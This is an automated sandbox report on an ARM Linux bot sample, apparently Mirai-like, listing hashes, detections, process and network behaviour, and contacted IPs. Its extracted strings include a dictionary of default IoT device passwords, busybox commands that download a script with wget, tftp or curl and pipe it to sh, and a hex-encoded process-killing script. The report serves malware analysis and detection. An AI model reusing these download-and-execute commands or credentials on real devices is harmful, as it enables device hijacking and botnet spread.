Linux Analysis Report
la.bot.arm5.elf

Overview

General Information

Sample name: la.bot.arm5.elf
Analysis ID: 1541744
MD5: fc021413d9cdffe96deb01956dc4605e
SHA1: fba6a15843d4214d0fa7a911eaea4cef13053417
SHA256: f3c5bd68fca3ad0e9f0efbc3b00dfff7aaf250c50e9817ce2a736781f38a1ca6
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 64
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.arm5.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.arm5.elf ReversingLabs: Detection: 42%
Found strings indicative of a multi-platform dropper
Source: la.bot.arm5.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.arm5.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.arm5.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp/maps/lib//proc/self/exe/dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppdM
Source: la.bot.arm5.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4P

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 156.244.13.91 ports 2,3,6,7,8,32876
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 54236
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:46538 -> 156.244.13.91:32876
Sample listens on a socket
Source: /tmp/la.bot.arm5.elf (PID: 6251) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 191.170.145.30
Source: unknown TCP traffic detected without corresponding DNS query: 191.170.145.30
Source: unknown TCP traffic detected without corresponding DNS query: 82.232.125.126
Source: unknown TCP traffic detected without corresponding DNS query: 82.232.125.126
Source: unknown TCP traffic detected without corresponding DNS query: 199.36.192.178
Source: unknown TCP traffic detected without corresponding DNS query: 199.36.192.178
Source: unknown TCP traffic detected without corresponding DNS query: 193.199.65.233
Source: unknown TCP traffic detected without corresponding DNS query: 193.199.65.233
Source: unknown TCP traffic detected without corresponding DNS query: 77.135.119.54
Source: unknown TCP traffic detected without corresponding DNS query: 77.135.119.54
Source: unknown TCP traffic detected without corresponding DNS query: 74.196.223.77
Source: unknown TCP traffic detected without corresponding DNS query: 74.196.223.77
Source: unknown TCP traffic detected without corresponding DNS query: 148.135.96.90
Source: unknown TCP traffic detected without corresponding DNS query: 203.83.148.179
Source: unknown TCP traffic detected without corresponding DNS query: 148.135.96.90
Source: unknown TCP traffic detected without corresponding DNS query: 115.183.62.251
Source: unknown TCP traffic detected without corresponding DNS query: 203.83.148.179
Source: unknown TCP traffic detected without corresponding DNS query: 7.142.222.168
Source: unknown TCP traffic detected without corresponding DNS query: 115.183.62.251
Source: unknown TCP traffic detected without corresponding DNS query: 177.19.61.68
Source: unknown TCP traffic detected without corresponding DNS query: 7.142.222.168
Source: unknown TCP traffic detected without corresponding DNS query: 133.41.179.14
Source: unknown TCP traffic detected without corresponding DNS query: 177.19.61.68
Source: unknown TCP traffic detected without corresponding DNS query: 71.125.167.99
Source: unknown TCP traffic detected without corresponding DNS query: 133.41.179.14
Source: unknown TCP traffic detected without corresponding DNS query: 214.61.5.189
Source: unknown TCP traffic detected without corresponding DNS query: 71.125.167.99
Source: unknown TCP traffic detected without corresponding DNS query: 214.61.5.189
Source: unknown TCP traffic detected without corresponding DNS query: 215.250.13.107
Source: unknown TCP traffic detected without corresponding DNS query: 158.211.81.30
Source: unknown TCP traffic detected without corresponding DNS query: 215.250.13.107
Source: unknown TCP traffic detected without corresponding DNS query: 158.211.81.30
Source: unknown TCP traffic detected without corresponding DNS query: 90.65.239.72
Source: unknown TCP traffic detected without corresponding DNS query: 143.230.211.229
Source: unknown TCP traffic detected without corresponding DNS query: 90.65.239.72
Source: unknown TCP traffic detected without corresponding DNS query: 131.74.246.174
Source: unknown TCP traffic detected without corresponding DNS query: 143.230.211.229
Source: unknown TCP traffic detected without corresponding DNS query: 149.62.252.47
Source: unknown TCP traffic detected without corresponding DNS query: 131.74.246.174
Source: unknown TCP traffic detected without corresponding DNS query: 34.147.39.159
Source: unknown TCP traffic detected without corresponding DNS query: 149.62.252.47
Source: unknown TCP traffic detected without corresponding DNS query: 34.147.39.159
Source: unknown TCP traffic detected without corresponding DNS query: 123.247.89.7
Source: unknown TCP traffic detected without corresponding DNS query: 119.70.214.201
Source: unknown TCP traffic detected without corresponding DNS query: 123.247.89.7
Source: unknown TCP traffic detected without corresponding DNS query: 57.92.15.64
Source: unknown TCP traffic detected without corresponding DNS query: 119.70.214.201
Source: unknown TCP traffic detected without corresponding DNS query: 79.2.34.123
Source: unknown TCP traffic detected without corresponding DNS query: 35.98.253.192
Source: unknown TCP traffic detected without corresponding DNS query: 57.92.15.64
Source: global traffic DNS traffic detected: DNS query: 2joints.libre
Source: la.bot.arm5.elf String found in binary or memory: http:///curl.sh
Source: la.bot.arm5.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.arm5.elf (PID: 6253) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal64.troj.linELF@0/0@1/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/840/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.arm5.elf (PID: 6253) File opened: /proc/82/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 23 -> 54236
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.arm5.elf (PID: 6251) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm5.elf, 6251.1.00007ffca64c8000.00007ffca64e9000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm5.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm5.elf
Source: la.bot.arm5.elf, 6251.1.000055e6d975f000.000055e6d98ad000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 6251.1.000055e6d975f000.000055e6d98ad000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm5.elf, 6251.1.00007ffca64c8000.00007ffca64e9000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
215.91.31.207
 unknown United States
721 DNIC-ASBLK-00721-00726US false
167.54.7.210
 unknown Canada
2665 CDAGOVNCA false
165.92.253.86
 unknown United States
6254 EGGINCUS false
162.212.212.170
 unknown United States
15344 ASN15344-SLULC false
46.23.4.35
 unknown Slovenia
197441 ABAKSI false
206.236.191.176
 unknown United States
174 COGENT-174US false
59.89.206.229
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
181.238.33.224
 unknown Argentina
11664 TechtelLMDSComunicacionesInteractivasSAAR false
188.88.12.146
 unknown Netherlands
31615 TMO-NL-ASNL false
80.100.170.145
 unknown Netherlands
3265 XS4ALL-NLAmsterdamNL false
43.108.39.16
 unknown Japan 4249 LILLY-ASUS false
110.215.84.246
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
182.193.218.170
 unknown Korea Republic of
6619 SAMSUNGSDS-AS-KRSamsungSDSIncKR false
139.121.90.15
 unknown United States
188 SAIC-ASUS false
146.253.74.105
 unknown Sweden
25400 TELIA-NORWAY-ASTeliaNorwayCoreNetworksNO false
31.208.50.162
 unknown Sweden
29518 BREDBAND2SE false
26.23.121.147
 unknown United States
7922 COMCAST-7922US false
104.22.149.180
 unknown United States
13335 CLOUDFLARENETUS false
113.222.165.133
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
4.7.153.74
 unknown United States
3356 LEVEL3US false
98.50.31.78
 unknown United States
7922 COMCAST-7922US false
167.226.137.239
 unknown United States
2897 GEORGIA-1US false
123.232.147.77
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
16.97.188.55
 unknown United States
unknown unknown false
104.48.75.147
 unknown United States
7018 ATT-INTERNET4US false
74.16.105.151
 unknown United States
7922 COMCAST-7922US false
39.28.136.22
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
122.203.198.47
 unknown Korea Republic of
38394 GOESN-AS-KRGyeonggidoSeongnamOfficeofEducationKR false
193.252.156.63
 unknown France
25113 GLOBECASTFR false
209.172.239.54
 unknown United States
393289 MERCERU-GA-ASNUS false
20.10.99.151
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
206.103.151.168
 unknown United States
6423 EASYSTREET-ONLINEUS false
58.218.39.177
 unknown China
134769 CHINANET-JIANGSU-CHANGZHOU-IDCChinaNetJiangsuChangzhouID false
129.18.84.189
 unknown Nigeria
36923 SWIFTNG-ASNNG false
219.101.48.27
 unknown Japan 18072 STREAMWINGNTTCommunicationsCorpJP false
170.45.146.38
 unknown United States
264957 CoopercitrusCooperativadeProdutoresRuraisBR false
196.205.134.118
 unknown Egypt
24863 LINKdotNET-ASEG false
105.116.240.244
 unknown Nigeria
36873 VNL1-ASNG false
164.230.9.156
 unknown United States
721 DNIC-ASBLK-00721-00726US false
78.144.207.104
 unknown United Kingdom
13285 OPALTELECOM-ASTalkTalkCommunicationsLimitedGB false
186.210.118.103
 unknown Brazil
53006 ALGARTELECOMSABR false
202.21.127.70
 unknown Mongolia
9484 MOBINET-AS-MNMobinetLLCASMobinetInternetServiceProvi false
200.185.14.68
 unknown Brazil
16685 TIVITTERCEIRIZACAODEPROCESSOSSERVETECSABR false
168.253.207.249
 unknown South Africa
37276 VOFFICEZA false
146.91.217.210
 unknown United States
6871 PLUSNETUKInternetServiceProviderGB false
32.23.161.213
 unknown United States
2686 ATGS-MMD-ASUS false
63.58.8.25
 unknown United States
701 UUNETUS false
215.22.5.129
 unknown United States
721 DNIC-ASBLK-00721-00726US false
42.230.4.235
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
203.9.8.36
 unknown Australia
138460 AUIX-AS-APAUIXPtyLimitedAU false
55.168.240.45
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
29.71.94.254
 unknown United States
7922 COMCAST-7922US false
203.188.25.149
 unknown Thailand
7485 MUT-BOARDER-AS-APMahanakornUniversityofTechnologyThail false
181.197.94.62
 unknown Panama
18809 CableOndaPA false
163.16.87.119
 unknown Taiwan; Republic of China (ROC)
1659 ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC false
155.202.171.92
 unknown United Kingdom
8698 NationwideBuildingSocietyGB false
31.172.242.68
 unknown United Kingdom
34920 SIMPLY-ROMFORDGB false
9.113.255.145
 unknown United States
3356 LEVEL3US false
151.87.214.53
 unknown Italy
8217 ASN-ENIIT false
140.221.60.160
 unknown United States
683 ARGONNE-ASUS false
96.2.223.115
 unknown United States
394487 DATA-TRUCK-LLCUS false
54.233.22.39
 unknown United States
16509 AMAZON-02US false
147.134.71.37
 unknown United States
30569 CREIGHTON-ASUS false
121.185.181.29
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
155.104.38.154
 unknown United States
1906 NORTHROP-GRUMMANUS false
115.241.237.104
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
28.252.81.255
 unknown United States
7922 COMCAST-7922US false
89.15.98.167
 unknown Germany
6805 TDDE-ASN1DE false
137.159.72.59
 unknown United States
20343 PEPPERDINEUS false
121.134.131.92
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
19.202.176.30
 unknown United States
3 MIT-GATEWAYSUS false
124.96.9.80
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
184.224.70.243
 unknown United States
10507 SPCSUS false
79.104.177.190
 unknown Russian Federation
3216 SOVAM-ASRU false
70.194.63.152
 unknown United States
6167 CELLCO-PARTUS false
42.8.116.210
 unknown Korea Republic of
